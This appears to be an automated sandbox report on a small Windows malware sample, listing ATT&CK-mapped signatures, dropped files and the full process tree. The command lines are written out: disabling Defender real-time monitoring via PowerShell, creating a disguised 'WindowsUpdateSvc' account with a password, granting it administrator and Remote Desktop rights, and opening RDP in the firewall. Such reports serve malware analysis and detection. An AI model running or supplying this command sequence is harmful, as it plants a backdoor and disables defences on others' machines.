Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/09/2026, 23:53

General

  • Target
    034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe
  • Size 16KB
  • Sample260910-3xspcsxejb
  • SHA256 034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 2 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Modifies RDP port number used by Windows 1 TTPs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 1 TTPs 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe
    "C:\Users\Admin\AppData\Local\Temp\034f7ae294e70be0c8d91553111bc17e7542fe651a7a68203f20255b1b7e079a.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue" -ExecutionPolicy Bypass
      2⤵
      • Disables one or more Microsoft Defender components
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5640
    • C:\Windows\SYSTEM32\net.exe
      "net" user WindowsUpdateSvc MySecurePass123! /add
      2⤵
      • Creates a new local user account
      • Suspicious use of WriteProcessMemory
      PID:5964
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 user WindowsUpdateSvc MySecurePass123! /add
        3⤵
        • Creates a new local user account
        PID:2040
    • C:\Windows\SYSTEM32\net.exe
      "net" localgroup "Remote Desktop Users" WindowsUpdateSvc /add
      2⤵
      • Remote Service Session Hijacking: RDP Hijacking
      • Suspicious use of WriteProcessMemory
      PID:5588
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" WindowsUpdateSvc /add
        3⤵
        • Remote Service Session Hijacking: RDP Hijacking
        PID:700
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh" advfirewall firewall set rule group="Remote Desktop" new enable=Yes
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:5356
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh" advfirewall firewall set rule group="Удаленный рабочий стол" new enable=Yes
      2⤵
      • Modifies Windows Firewall
      • Event Triggered Execution: Netsh Helper DLL
      PID:868
    • C:\Windows\SYSTEM32\net.exe
      "net" localgroup "Administrators" WindowsUpdateSvc /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5688
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 localgroup "Administrators" WindowsUpdateSvc /add
        3⤵
          PID:2432
      • C:\Windows\SYSTEM32\net.exe
        "net" localgroup "Administrators"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5872
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 localgroup "Administrators"
          3⤵
            PID:748
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $false -ErrorAction SilentlyContinue" -ExecutionPolicy Bypass
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2184

      Network

            MITRE ATT&CK Enterprise v16

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            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 bcf3ba98af6ee96a3eba9bbc6bdb2ae36b883f5f1e9cdad2974cbbcb9c102237
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_wi35gy3y.3ci.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wi35gy3y.3ci.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            memory/4716-0-0x0000000000960000-0x000000000096A000-memory.dmp

            memory/4716-1-0x000000001B610000-0x000000001B620000-memory.dmp

            memory/4716-15-0x000000001B610000-0x000000001B620000-memory.dmp

            memory/5640-3-0x000001ADD60E0000-0x000001ADD60F0000-memory.dmp

            memory/5640-2-0x000001ADD60E0000-0x000001ADD60F0000-memory.dmp

            memory/5640-4-0x000001ADD5F90000-0x000001ADD5FB2000-memory.dmp

            memory/5640-14-0x000001ADD8460000-0x000001ADD85CA000-memory.dmp